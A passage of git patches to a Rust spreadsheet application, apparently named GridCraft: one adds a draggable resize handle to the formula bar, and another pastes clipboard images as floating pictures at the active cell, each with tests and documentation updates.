→ {on}; {lines: int} sets the expanded height (1 collapses) → {on, lines}", + ), ("ui.pythonMode", "Python Mode", "{on?: bool} (toggles without it) → {on}; a refused start is an error"), ("view.darkMode", "Dark Mode", ""), ("view.theme", "Display Theme", ""), diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 25178ce50..9be205a4f 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -12,6 +12,11 @@ use crate::theme::{self, Tokens}; /// Lines the formula bar (and the in-cell editor) grows to before it scrolls. pub const MAX_LINES: usize = 5; +/// The most lines a drag of the bar's bottom edge can give it (the window caps it at half its +/// height first). +pub const MAX_DRAG_LINES: usize = 100; +/// How far the bar's bottom edge reaches up into the bar as a resize handle (its bottom margin). +const HANDLE: f32 = 4.0; /// The bar's height at one line. const ONE_LINE: f32 = 30.0; /// What the bar adds around the field's rows: the panel's margins (3 + 3), the field's (3 + 3) @@ -40,11 +45,22 @@ pub struct BarLayout { pub visible_lines: usize, /// The caret while editing in the bar. pub caret: Option, + /// The bottom edge that resizes the bar. + pub handle: Rect, } impl Default for BarLayout { fn default() -> Self { - BarLayout { name_box: Rect::NOTHING, buttons: Rect::NOTHING, field: Rect::NOTHING, height: 0.0, lines: 1, visible_lines: 1, caret: None } + BarLayout { + name_box: Rect::NOTHING, + buttons: Rect::NOTHING, + field: Rect::NOTHING, + height: 0.0, + lines: 1, + visible_lines: 1, + caret: None, + handle: Rect::NOTHING, + } } } @@ -73,13 +89,15 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { let font = theme::ui_font(13.0); let row_h = ui.ctx().fonts_mut(|f| f.row_height(&font)); let last = BarLayout::get(ui.ctx()); - // Height follows the content's line count (last frame's), 1 to MAX_LINES; the chevron pins it - // at MAX_LINES. It eases only when that target changes. - let lines = if app.ui.formula_bar_expanded { MAX_LINES } else { last.lines.clamp(1, MAX_LINES) }; + // Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the + // chevron), it is the height the bottom edge was dragged to. It eases only when that target + // changes. + let most = max_lines(ui.ctx().content_rect().height(), row_h); + let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) }; let target = one_line(row_h) + (lines - 1) as f32 * row_h; let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS); let mut layout = BarLayout { height: h, ..Default::default() }; - egui::Panel::top("formula_bar") + let panel = egui::Panel::top("formula_bar") .exact_size(h) .frame(egui::Frame::NONE.fill(t.window).inner_margin(egui::Margin { left: 8, right: 8, top: 3, bottom: 3 })) .show(ui, |ui| { @@ -156,9 +174,58 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { } }); }); + layout.handle = resize_handle(app, ui, panel.response.rect, row_h, most); ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout)); } +/// The most lines the bar takes in a window `window_h` tall: half the window, as in Excel, and +/// never fewer than the chevron's [`MAX_LINES`]. +fn max_lines(window_h: f32, row_h: f32) -> usize { + let fit = ((window_h * 0.5 - one_line(row_h)) / row_h).floor(); + if fit.is_finite() && fit > 0.0 { (fit as usize + 1).clamp(MAX_LINES, MAX_DRAG_LINES) } else { MAX_LINES } +} + +/// The lines a bar whose top is at `top` shows with its bottom edge dragged to `y`, in whole lines. +fn dragged_lines(y: f32, top: f32, row_h: f32, most: usize) -> usize { + let extra = ((y - top - one_line(row_h)) / row_h).round(); + if extra.is_finite() && extra > 0.0 { (extra as usize + 1).min(most) } else { 1 } +} + +/// The bar's bottom edge: dragging it sets the bar's height in whole lines, as in Excel. The bar +/// follows the pointer; the release runs `view.expandFormulaBar` with the lines, so one drag is +/// one step (one line collapses the bar). +fn resize_handle(app: &mut SheetApp, ui: &mut egui::Ui, bar: Rect, row_h: f32, most: usize) -> Rect { + let handle = Rect::from_x_y_ranges(bar.x_range(), (bar.bottom() - HANDLE)..=bar.bottom()); + let resp = ui.interact(handle, egui::Id::unique("formula_bar.resize"), Sense::drag()); + let name = app.ui.language.tr("Resize formula bar"); + resp.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, name)); + if resp.hovered() || resp.dragged() { + ui.ctx().set_cursor_icon(egui::CursorIcon::ResizeVertical); + } + // The state before the drag: the preview changes it, the release puts it back for the command. + let before = resp.id.with("before"); + if resp.drag_started() { + let state = (app.ui.formula_bar_expanded, app.ui.formula_bar_lines); + ui.ctx().data_mut(|d| d.insert_temp(before, state)); + } + if let Some(p) = resp.interact_pointer_pos().filter(|_| resp.dragged() || resp.drag_stopped()) { + let lines = dragged_lines(p.y, bar.top(), row_h, most); + if resp.drag_stopped() { + if let Some((expanded, kept)) = ui.ctx().data_mut(|d| d.remove_temp::<(bool, usize)>(before)) { + (app.ui.formula_bar_expanded, app.ui.formula_bar_lines) = (expanded, kept); + } + app.run_or_alert("view.expandFormulaBar", json!({"lines": lines})); + } else { + app.ui.formula_bar_expanded = lines > 1; + if lines > 1 { + app.ui.formula_bar_lines = lines; + } + ui.ctx().request_repaint(); + } + } + handle +} + /// Resolve ownership on every frame; never cache a spill range in presentation state. pub(crate) fn active_spill_anchor(app: &SheetApp) -> Option { let d = app.session.active()?; diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 95f861f14..d76787796 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -88,6 +88,9 @@ pub struct UiState { pub ribbon_tab: String, pub ribbon_collapsed: bool, pub formula_bar_expanded: bool, + /// Lines the expanded formula bar shows: the height its bottom edge was last dragged to. + /// Expanding it again (the chevron, Ctrl+Shift+U) returns to that height. + pub formula_bar_lines: usize, pub status_bar: bool, /// Motion in the UI: the selection outline glides to a new selection (View ▸ Animations). pub animations: bool, @@ -137,6 +140,7 @@ impl Default for UiState { ribbon_tab: "Home".into(), ribbon_collapsed: false, formula_bar_expanded: false, + formula_bar_lines: formula_bar::MAX_LINES, status_bar: true, animations: true, autocomplete: true, diff --git a/crates/ui-egui/tests/it/formula_bar_expand.rs b/crates/ui-egui/tests/it/formula_bar_expand.rs index a71a979cd..cabf7ee70 100644 --- a/crates/ui-egui/tests/it/formula_bar_expand.rs +++ b/crates/ui-egui/tests/it/formula_bar_expand.rs @@ -1,6 +1,6 @@ //! Ctrl+Shift+U (Control+Shift+U in Excel for Mac) expands and collapses the formula bar. -use egui::{Event, Key, Modifiers}; +use egui::{Event, Key, Modifiers, vec2}; use gridcraft_engine::Session; use gridcraft_ui_egui::SheetApp; use gridcraft_ui_egui::keymap::{Shortcut, lookup}; @@ -84,3 +84,66 @@ fn expand_formula_bar_command_sets_or_toggles_the_state() { assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({})), Ok(json!({"on": false}))); assert!(!expanded(&h)); } + +fn drag(h: &mut Harness, from: egui::Pos2, to: egui::Pos2) { + use egui::PointerButton; + h.input_mut().events.extend([ + Event::PointerMoved(from), + Event::PointerButton { pos: from, button: PointerButton::Primary, pressed: true, modifiers: Modifiers::NONE }, + ]); + h.step(); + for i in 1..=6 { + h.input_mut().events.push(Event::PointerMoved(from + (to - from) * (i as f32 / 6.0))); + h.step(); + } + h.input_mut().events.push(Event::PointerButton { pos: to, button: PointerButton::Primary, pressed: false, modifiers: Modifiers::NONE }); + h.run_steps(20); +} + +fn bar(h: &Harness) -> gridcraft_ui_egui::formula_bar::BarLayout { + gridcraft_ui_egui::formula_bar::BarLayout::get(&h.ctx) +} + +#[test] +fn dragging_the_bottom_edge_sets_the_height_that_expanding_returns_to() { + let mut h = harness(); + h.run_steps(20); + let start = bar(&h); + assert_eq!(start.visible_lines, 1, "one line of text shows a one-line bar"); + assert!( + start.handle.height() > 0.0 && (start.handle.bottom() - start.field.bottom()).abs() <= 4.0, + "the handle is the bar's bottom edge: {start:?}" + ); + // Drag the edge down about five and a half rows: the bar snaps to whole lines. + let row = 17.0; + drag(&mut h, start.handle.center(), start.handle.center() + vec2(0.0, 5.5 * row)); + let lines = h.state().ui.formula_bar_lines; + assert!(expanded(&h), "a taller bar is expanded"); + assert!((6..=7).contains(&lines), "about six more lines: {lines}"); + assert_eq!(bar(&h).visible_lines, lines, "the field shows the dragged lines: {:?}", bar(&h)); + // Collapse, then expand: back to the dragged height, not the default five lines. + ctrl_shift_u(&mut h, CTRL_SHIFT); + h.run_steps(20); + assert!(!expanded(&h)); + assert_eq!(bar(&h).visible_lines, 1); + ctrl_shift_u(&mut h, CTRL_SHIFT); + h.run_steps(20); + assert_eq!(bar(&h).visible_lines, lines, "expanding returns to the dragged height"); + // Dragging the edge up to one line collapses the bar and keeps the expanded height. + let edge = bar(&h).handle.center(); + drag(&mut h, edge, edge - vec2(0.0, 20.0 * row)); + assert!(!expanded(&h), "a one-line bar is collapsed"); + assert_eq!(bar(&h).visible_lines, 1); + assert_eq!(h.state().ui.formula_bar_lines, lines); +} + +#[test] +fn expand_formula_bar_with_lines_sets_the_expanded_height() { + let mut h = harness(); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 8})), Ok(json!({"on": true, "lines": 8}))); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 1})), Ok(json!({"on": false, "lines": 8})), "one line collapses"); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({})), Ok(json!({"on": true}))); + assert_eq!(h.state().ui.formula_bar_lines, 8, "expanding returns to the set height"); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 0})), Ok(json!({"on": false, "lines": 8})), "zero lines is one line"); + assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": u64::MAX})), Ok(json!({"on": true, "lines": 100})), "capped"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..5c1fc5543 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -22,7 +22,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | | Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus legacy Alt sequences; other tabs and controls not yet (#33, #49) | 3–5 h | -| Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; the chevron pins it at five; the in-cell editor shows every line | done; no drag-to-resize handle | +| Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; dragging its bottom edge sets the height in whole lines (up to half the window; one line collapses it), and the chevron or Ctrl+Shift+U expands it back to that height (five lines until it is dragged); the in-cell editor shows every line | done; the Name Box width is fixed | | Sheet tabs: rename, reorder, colour, hide, scroll | yes | yes | Ctrl-drag (Cmd or Option on macOS) drops a copy (#971); active tab revealed on navigation and resize (#681); manual wheel/trackpad browsing preserved; rename focus bug on macOS (#145) | | Formula bar with Name Box, expand, function hints | yes | yes | done; dynamic-array spill children show the source formula muted and read-only, using current spill ownership | | Python cells: Python mode | yes | yes (11-01): Ctrl+Alt+Shift+P (Cmd+Option+Shift+P on a Mac), `=PY` then Tab, or editing a Python cell edits the code in the formula bar's code editor, with a PY badge beside fx; Enter starts a new line with the indentation, Tab and Shift+Tab indent, Ctrl+Enter (Cmd+Enter) puts the code in the cell through `python.set`, Esc cancels. Deleting all the code and committing clears a Python cell, as an empty entry clears any other cell. The formula bar shows while a Python edit is open, also when View › Formula Bar hides it. On a protected sheet, a Python cell formatted Hidden shows no code in the formula bar and starts no edit, as a hidden formula shows none | this build stores Python code and doesn't run it: new or changed code shows `#BLOCKED!`; no `xl()` pointing on the sheet yet | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | The formula bar's bottom edge is a resize handle: dragging it sets the bar's height in whole lines, up to half the window, and dragging it to one line collapses it; expanding (the chevron, Ctrl+Shift+U) returns to the dragged height, which is kept with the UI preferences. `view.expandFormulaBar {lines}` sets it (#1246) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From ac27137cd80cab628d5dc1ae93ddb55a0dd40a8b Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 14:14:34 +0530 Subject: [PATCH 255/298] Clipboard: paste a picture from the system clipboard at the active cell (#699) Cmd/Ctrl+V dropped egui's PasteImage event, and the ribbon/menu Paste only read text, so screenshots and images copied in a browser reported "Nothing to paste". Both now encode the pixels as PNG (bounded to 16384 px per side, 64 Mpx) and run insert.picture as a floating picture anchored at the active cell, as Excel does. Text on the clipboard still wins. New host service: Services::paste_image (arboard). Fixes #699, #3018, #3182. --- apps/gridcraft/Cargo.toml | 4 +- apps/gridcraft/src/main.rs | 6 ++- crates/ui-egui/src/app/clipboard.rs | 50 ++++++++++++++++++-- crates/ui-egui/src/grid/keyboard.rs | 8 ++-- crates/ui-egui/src/services.rs | 3 ++ crates/ui-egui/tests/it/clipboard.rs | 68 ++++++++++++++++++++++++++++ docs/cell-pictures.md | 7 +-- docs/ui-parity.md | 3 +- 8 files changed, 134 insertions(+), 15 deletions(-) diff --git a/apps/gridcraft/Cargo.toml b/apps/gridcraft/Cargo.toml index aaa012934..a7472821f 100644 --- a/apps/gridcraft/Cargo.toml +++ b/apps/gridcraft/Cargo.toml @@ -37,13 +37,13 @@ winit = { version = "0.30", default-features = false, features = ["x11", "waylan craft-print = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7" } craft-update = { workspace = true } rfd = { workspace = true } -arboard = { workspace = true } +arboard = { workspace = true, features = ["image-data"] } gridcraft-mcp = { workspace = true } # The control channel's token (OS random numbers); already in the tree. getrandom = "0.4" [target.'cfg(any(target_os = "linux", target_os = "freebsd"))'.dependencies] -arboard = { workspace = true, features = ["wayland-data-control"] } +arboard = { workspace = true, features = ["image-data", "wayland-data-control"] } [target.'cfg(target_os = "windows")'.dependencies] # Blocks on the start-up DirectX 12 adapter probe (`graphics.rs`); already in the tree via eframe. diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 3aab1ccfc..e99ef15de 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -154,7 +154,7 @@ fn read_clipboard( fn services() -> Services { // Keep the owner alive: X11/Wayland serve clipboard data from this handle. let clipboard: Rc>> = Rc::default(); - let (html_clipboard, text_clipboard) = (clipboard.clone(), clipboard.clone()); + let (html_clipboard, text_clipboard, image_clipboard) = (clipboard.clone(), clipboard.clone(), clipboard.clone()); Services { copy_html: Some(Box::new(move |html, text| { let mut clipboard = clipboard.borrow_mut(); @@ -165,6 +165,10 @@ fn services() -> Services { })), paste_html: Some(Box::new(move || read_clipboard(&html_clipboard, |clipboard| clipboard.get().html()))), paste_text: Some(Box::new(move || read_clipboard(&text_clipboard, |clipboard| clipboard.get_text()))), + paste_image: Some(Box::new(move || { + let image = read_clipboard(&image_clipboard, |clipboard| clipboard.get_image())?; + image::RgbaImage::from_raw(u32::try_from(image.width).ok()?, u32::try_from(image.height).ok()?, image.bytes.into_owned()) + })), pick_open: Some(Box::new(|| { rfd::FileDialog::new() .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"]) diff --git a/crates/ui-egui/src/app/clipboard.rs b/crates/ui-egui/src/app/clipboard.rs index da75d8b73..3ef59a8af 100644 --- a/crates/ui-egui/src/app/clipboard.rs +++ b/crates/ui-egui/src/app/clipboard.rs @@ -48,12 +48,36 @@ impl SheetApp { } /// Ribbon and menu Paste: paste the text on the system clipboard, as Cmd/Ctrl+V does. With no - /// text there, no host clipboard (web), or the text that was there when GridCraft last copied - /// without publishing, GridCraft's own clipboard is pasted. + /// text there but a picture, the picture is pasted. With neither, no host clipboard (web), or + /// the text that was there when GridCraft last copied without publishing, GridCraft's own + /// clipboard is pasted. pub fn paste_from_clipboard(&mut self) { match self.system_clipboard_text() { Some(text) if self.session.clipboard.is_none() || self.clipboard_text_at_copy.as_ref() != Some(&text) => self.paste_external(text), - _ => self.run_or_alert("edit.paste", json!({})), + Some(_) => self.run_or_alert("edit.paste", json!({})), + None => match self.services.paste_image.as_mut().and_then(|read| read()) { + Some(image) => self.paste_picture(image), + None => self.run_or_alert("edit.paste", json!({})), + }, + } + } + + /// Paste a picture from the system clipboard (a screenshot, an image copied in a browser) as + /// a floating picture whose top-left corner is the active cell, as Excel does. + pub fn paste_picture(&mut self, image: image::RgbaImage) { + match encode_png(&image) { + Ok(png) => self.run_or_alert("insert.picture", json!({"base64": gridcraft_engine::io::base64_encode(&png), "mime": "image/png"})), + Err(e) => self.alert(e), + } + } + + /// Cmd/Ctrl+V with a picture and no text on the clipboard (egui's `Event::PasteImage`). + pub fn paste_color_image(&mut self, image: &egui::ColorImage) { + let [w, h] = image.size; + let rgba = image.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect(); + match u32::try_from(w).ok().zip(u32::try_from(h).ok()).and_then(|(w, h)| image::RgbaImage::from_raw(w, h, rgba)) { + Some(image) => self.paste_picture(image), + None => self.alert("The picture on the clipboard can't be read.".into()), } } @@ -75,3 +99,23 @@ impl SheetApp { } } } + +/// Largest clipboard picture pasted, per side and in total (an 8K screenshot fits). +const MAX_PICTURE_SIDE: u32 = 16_384; +const MAX_PICTURE_PIXELS: u64 = 64 * 1024 * 1024; + +/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory. +fn encode_png(image: &image::RgbaImage) -> Result, String> { + let (w, h) = image.dimensions(); + if w == 0 || h == 0 { + return Err("The picture on the clipboard is empty.".into()); + } + if w > MAX_PICTURE_SIDE || h > MAX_PICTURE_SIDE || u64::from(w) * u64::from(h) > MAX_PICTURE_PIXELS { + return Err("The picture on the clipboard is too large to paste.".into()); + } + let mut png = Vec::new(); + image + .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png) + .map_err(|e| format!("The picture on the clipboard can't be pasted: {e}"))?; + Ok(png) +} diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index b8823d570..d70296588 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -51,11 +51,9 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res app.copy_to_clipboard(ctx, "edit.cut"); } egui::Event::Paste(text) => app.paste_external(text), - // GridCraft has no image-clipboard pipeline and no cell-picture insert-from-clipboard - // command. Choosing to ignore `PasteImage` is explicit: inserting the bytes as a - // floating picture without a chosen anchor/size would be a new feature, not parity. - // A text representation, when the clipboard has one, still arrives as `Paste` above. - egui::Event::PasteImage(_) => {} + // A picture with no text on the clipboard (a screenshot, a browser image) is pasted as + // a floating picture at the active cell, as Excel does. + egui::Event::PasteImage(image) => app.paste_color_image(&image), // PRIMARY middle-click paste belongs to egui's TextEdit; the grid has no caret to // insert text at, so a middle click on a cell is deliberately not a paste. egui::Event::MiddleClickPaste { .. } => {} diff --git a/crates/ui-egui/src/services.rs b/crates/ui-egui/src/services.rs index 748e23ab3..20b8da851 100644 --- a/crates/ui-egui/src/services.rs +++ b/crates/ui-egui/src/services.rs @@ -32,6 +32,9 @@ pub struct Services { /// gets it from egui's `Event::Paste`). `None` from the host, or no service (web), pastes /// GridCraft's own clipboard. pub paste_text: Option Option>>, + /// Read the picture on the system clipboard for the ribbon and menu Paste commands when it + /// holds no text (Cmd/Ctrl+V gets it from egui's `Event::PasteImage`). + pub paste_image: Option Option>>, /// Web: deliver a file to the user (name, bytes). pub download: Option, /// Web: start an asynchronous file pick; the bytes arrive later in `inbox`. diff --git a/crates/ui-egui/tests/it/clipboard.rs b/crates/ui-egui/tests/it/clipboard.rs index be1983b61..ee52dc162 100644 --- a/crates/ui-egui/tests/it/clipboard.rs +++ b/crates/ui-egui/tests/it/clipboard.rs @@ -482,3 +482,71 @@ fn the_cut_text_pastes_again_once_the_clipboard_has_held_other_text() { h.run_steps(2); assert_eq!(value_at(&h, "H1"), Some(Value::from("Name")), "the same text copied afresh pastes"); } + +/// The floating pictures on the active sheet: (anchor cell, width, height, mime). +fn pictures(h: &Harness) -> Vec<(String, f32, f32, String)> { + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + sh.images.iter().map(|i| (i.anchor.cell.a1(), i.anchor.width, i.anchor.height, i.mime.clone())).collect() +} + +#[test] +fn cmd_v_with_a_picture_on_the_clipboard_inserts_it_at_the_active_cell() { + // A screenshot or a browser image: the clipboard has pixels and no text (#699, #3018, #3182). + let mut h = harness(Services::default()); + h.state_mut().run("selection.set", json!({"cell": "C5"})).unwrap(); + let image = egui::ColorImage::new([4, 3], vec![egui::Color32::from_rgb(200, 30, 30); 12]); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(image))); + h.run_steps(2); + assert!(h.state().message.is_none(), "{:?}", h.state().message); + assert_eq!(pictures(&h), vec![("C5".to_string(), 4.0, 3.0, "image/png".to_string())]); + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + let png = image::load_from_memory(&sh.images[0].data).unwrap().to_rgba8(); + assert_eq!(png.get_pixel(3, 2).0, [200, 30, 30, 255], "the pixels survive the PNG round trip"); + + // One undo step removes it. + h.state_mut().run("edit.undo", json!({})).unwrap(); + assert!(pictures(&h).is_empty()); +} + +#[test] +fn a_malformed_clipboard_picture_is_refused_without_inserting() { + let mut h = harness(Services::default()); + let mut image = egui::ColorImage::new([4, 3], vec![egui::Color32::WHITE; 12]); + image.pixels.truncate(5); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(image))); + h.run_steps(2); + assert!(pictures(&h).is_empty()); + assert!(h.state().message.is_some(), "the user is told the paste failed"); + + dismiss(&mut h); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(egui::ColorImage::new([0, 0], Vec::new())))); + h.run_steps(2); + assert!(pictures(&h).is_empty()); +} + +#[test] +fn ribbon_paste_pastes_a_clipboard_picture_when_there_is_no_text() { + let reads = Rc::new(RefCell::new(0)); + let count = reads.clone(); + let (_, mut services) = system_clipboard(""); + services.paste_image = Some(Box::new(move || { + *count.borrow_mut() += 1; + Some(image::RgbaImage::from_pixel(5, 2, image::Rgba([0, 0, 255, 255]))) + })); + let mut h = harness(services); + h.state_mut().run("selection.set", json!({"cell": "B7"})).unwrap(); + click_paste(&mut h); + assert_eq!(*reads.borrow(), 1); + assert_eq!(pictures(&h), vec![("B7".to_string(), 5.0, 2.0, "image/png".to_string())]); +} + +#[test] +fn ribbon_paste_prefers_clipboard_text_over_a_picture() { + let (_, mut services) = system_clipboard("words"); + services.paste_image = Some(Box::new(|| Some(image::RgbaImage::new(1, 1)))); + let mut h = harness(services); + h.state_mut().run("selection.set", json!({"cell": "D2"})).unwrap(); + click_paste(&mut h); + assert_eq!(value_at(&h, "D2"), Some(Value::from("words"))); + assert!(pictures(&h).is_empty()); +} diff --git a/docs/cell-pictures.md b/docs/cell-pictures.md index 586615422..1257476c5 100644 --- a/docs/cell-pictures.md +++ b/docs/cell-pictures.md @@ -17,9 +17,10 @@ The command API accepts the same placement: {"command":"insert.picture","params":{"path":"picture.png","placement":"cell","at":"B2","alt":"Product photo"}} ``` -This initial feature handles static pictures. Pasting an image from the operating system's -clipboard, converting between floating and cell pictures, and the `IMAGE()` function remain -separate work. Formula references and arithmetic do not carry pictures: the calculation +This initial feature handles static pictures. A picture on the operating system's clipboard (a +screenshot, an image copied in a browser) pastes with Cmd/Ctrl+V or Paste as a floating picture +at the active cell, as in Excel. Pasting it into a cell, converting between floating and cell +pictures, and the `IMAGE()` function remain separate work. Formula references and arithmetic do not carry pictures: the calculation engine uses a `#VALUE!` fallback, including when a picture is referenced from another cell. Text-only exports also use that fallback. The picture cell still counts as occupied and blocks a formula's spill range. diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..76ecc39e0 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (a picture on the system clipboard pastes as a floating picture at the active cell with Cmd/Ctrl+V or Paste (#699); earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -308,6 +308,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | 2026-10-12 | minor | Ctrl+wheel zoom steps along a ladder of percentages about 20% apart that never skips 100%, gliding to each step with animations on, so a notch out undoes a notch in (it drifted: 100 → 122 → 101); Excel steps 15 points, see decisions.md | | 2026-10-12 | minor | Page Layout view: left/right/top/bottom margins are dragged on the rulers (#792) | | 2026-10-12 | minor | Alt+Down opens the active filter header's existing popup, with validation priority and mirrored anchoring on right-to-left sheets (part of #441) | +| 2026-11-03 | minor | A picture on the system clipboard (a screenshot, an image copied in a browser or an image editor) pastes with Cmd/Ctrl+V, the ribbon's Paste and the Paste menu items as a floating picture whose top-left corner is the active cell, as Excel does; text on the clipboard still wins. Oversized or malformed pictures are refused with a message (#699, #3018, #3182) | | 2026-10-12 | minor | Paste from the ribbon (button and options menu), the cell and header context menus and the macOS menu bar's Edit menu pastes what is on the system clipboard, as Cmd/Ctrl+V does, instead of only GridCraft's own copy (the web build, which can't read the clipboard on request, still pastes GridCraft's copy). Copy and Cut by keytip (H,C / H,X) publish to the system clipboard like the ribbon buttons. After a control-channel or MCP copy, which leaves the system clipboard alone, Paste pastes that copy until other text is copied. Once a cut has been pasted, Paste (ribbon, menus or Cmd/Ctrl+V) doesn't paste the cut's clipboard text again over the moved cells (Excel pastes a cut once), and the Paste keytip (H,V,P) pastes the system clipboard like the button. Regression test for the Paste button click freeze in 0.5.0 (#273, fixed by #272); the Paste button gets an accessible "Paste" name for screen readers | | 2026-10-11 | minor | Ribbon: scroll arrows on a tab wider than the window, Formulas › AutoSum as a split button with its function menu, View › Show in two columns so Headings is no longer cut off | | 2026-10-11 | minor | Theme tokens for icon, reference, on-accent and sheet-control colours; WCAG 2 contrast test over both themes (dark danger red and selected header text adjusted) | From 94b4f6a3a21fc9192ad41766820d927ff55e3b3c Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 02:50:10 -0600 Subject: [PATCH 256/298] #1481: open SYLK (.slk) files A small reader for the SYLK text format: cell values (numbers, text, booleans, errors), formulas converted from R1C1 to A1 as Excel does (relative/absolute references, ranges, whole rows and columns, shared formulas) with their 